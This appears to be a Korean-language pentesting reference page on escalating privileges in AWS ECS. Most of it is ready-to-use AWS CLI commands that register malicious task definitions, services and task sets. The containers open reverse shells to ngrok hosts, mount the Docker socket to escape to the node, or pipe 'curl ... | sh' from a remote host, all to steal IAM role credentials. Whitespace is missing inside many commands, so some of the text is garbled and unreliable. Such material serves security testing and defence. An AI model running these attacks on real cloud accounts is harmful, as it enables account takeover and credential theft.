ECS에서 iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask 권한을 악용하는 공격자는 악성 컨테이너가 메타데이터 자격 증명을 도용하고 새로운 작업 정의를 생성하여 실행할 수 있습니다.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definitionawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
이전 예제와 마찬가지로, ECS에서 iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask 권한을 악용하는 공격자는 악성 컨테이너를 가진 새로운 작업 정의를 생성하고 메타데이터 자격 증명을 도용하여 실행할 수 있습니다.
그러나 이 경우에는 악성 작업 정의를 실행하기 위해 컨테이너 인스턴스가 필요합니다.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \--network-mode "awsvpc" \--cpu 256--memory512\--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecsstart-task--task-definitioniam_exfiltration \--container-instances <instance_id># Delete task definition## You need to remove all the versions (:1 is enough if you just created one)awsecsderegister-task-definition--task-definitioniam_exfiltration:1
이전 예제와 마찬가지로, ECS에서 iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService 또는 ecs:CreateService 권한을 악용하는 공격자는 악성 컨테이너를 가진 새로운 작업 정의를 생성하여 메타데이터 자격 증명을 도용하고, 적어도 1개의 작업이 실행되는 새로운 서비스를 생성하여 실행할 수 있습니다.
# Generate task definition with rev shellawsecsregister-task-definition--familyiam_exfiltration \--task-role-arn "$ECS_ROLE_ARN" \--network-mode "awsvpc" \--cpu 256--memory512\--requires-compatibilities "[\"FARGATE\"]" \--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a serviceawsecscreate-service--service-nameexfiltration \--task-definition iam_exfiltration \--desired-count 1 \--cluster "$CLUSTER_ARN" \--launch-type FARGATE \--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"# Run the task updating a serviceawsecsupdate-service--cluster<CLUSTERNAME> \--service <SERVICENAME> \--task-definition <NEWTASKDEFINITIONNAME>
이 시나리오는 이전과 비슷하지만 iam:PassRole 권한이 없는 경우입니다.
이것은 여전히 흥미로운데, 임의의 컨테이너를 실행할 수 있다면, 역할이 없더라도 특권 컨테이너를 실행하여 노드로 탈출하고, 노드에서 실행 중인 EC2 IAM 역할 및 다른 ECS 컨테이너 역할을 도난할 수 있습니다.
심지어 노드로의 권한 상승 섹션에서 논의된 대로, 침투한 EC2 인스턴스 내에서 다른 작업을 실행하도록 강제할 수도 있습니다.
이 공격은 ECS 클러스터가 EC2 인스턴스를 사용하고 Fargate를 사용하지 않는 경우에만 가능합니다.
printf'[{"name":"exfil_creds","image":"python:latest","entryPoint":["sh", "-c"],"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],"mountPoints": [{"readOnly": false,"containerPath": "/var/run/docker.sock","sourceVolume": "docker-socket"}]}]'>/tmp/task.jsonprintf'[{"name": "docker-socket","host": {"sourcePath": "/var/run/docker.sock"}}]'>/tmp/volumes.jsonawsecsregister-task-definition--familyiam_exfiltration \--cpu 256--memory512 \--requires-compatibilities '["EC2"]' \--container-definitions file:///tmp/task.json \--volumes file:///tmp/volumes.jsonawsecsrun-task--task-definitioniam_exfiltration \--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \--launch-type EC2# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand, ecs:DescribeTasks 권한을 가진 공격자는 실행 중인 컨테이너 내에서 명령을 실행하고 그에 연결된 IAM 역할을 유출할 수 있습니다 (aws ecs execute-command를 실행하기 위해 describe 권한이 필요합니다).
그러나 이를 위해서는 컨테이너 인스턴스가 기본적으로 실행되는 ExecuteCommand 에이전트를 실행해야 합니다.
따라서, 공격자는 다음을 시도할 수 있습니다:
실행 중인 모든 컨테이너에서 명령을 실행해 봅니다.
# List enableExecuteCommand on each taskfor cluster in$(awsecslist-clusters|jq.clusterArns|grep '"' |cut-d '"' -f2); doecho"Cluster $cluster"for task in$(awsecslist-tasks--cluster "$cluster" |jq.taskArns|grep '"' |cut-d '"' -f2); doecho" Task $task"# If true, it's your lucky dayawsecsdescribe-tasks--cluster"$cluster"--tasks"$task"|grepenableExecuteCommanddonedone# Execute a shell in a containerawsecsexecute-command--interactive \--command "sh" \--cluster "$CLUSTER_ARN" \--task "$TASK_ARN"
만약 그가 **ecs:RunTask**를 가지고 있다면, aws ecs run-task --enable-execute-command [...]로 작업을 실행합니다.
만약 그가 **ecs:StartTask**를 가지고 있다면, aws ecs start-task --enable-execute-command [...]로 작업을 실행합니다.
만약 그가 **ecs:CreateService**를 가지고 있다면, aws ecs create-service --enable-execute-command [...]로 서비스를 생성합니다.
만약 그가 **ecs:UpdateService**를 가지고 있다면, aws ecs update-service --enable-execute-command [...]로 서비스를 업데이트합니다.
이러한 옵션의 예시는 이전 ECS 권한 상승 섹션에서 찾을 수 있습니다.
잠재적인 영향: 컨테이너에 연결된 다른 역할로의 권한 상승.
ssm:StartSession
이 권한을 악용하여 ECS로 권한 상승하는 방법은 ssm 권한 상승 페이지에서 확인할 수 있습니다:
ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets 권한을 가진 공격자는 기존 ECS 서비스에 악성 작업 세트를 생성하고 주요 작업 세트를 업데이트할 수 있습니다. 이를 통해 공격자는 서비스 내에서 임의의 코드를 실행할 수 있습니다.
bashCopycode#Registerataskdefinitionwithareverseshellecho'{"family": "malicious-task","containerDefinitions": [{"name": "malicious-container","image": "alpine","command": ["sh","-c","apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"]}]}'>malicious-task-definition.jsonawsecsregister-task-definition--cli-input-jsonfile://malicious-task-definition.json# Create a malicious task set for the existing serviceaws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the serviceaws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
잠재적 영향: 해당 서비스에서 임의의 코드를 실행하여 기능에 영향을 주거나 민감한 데이터를 유출할 수 있습니다.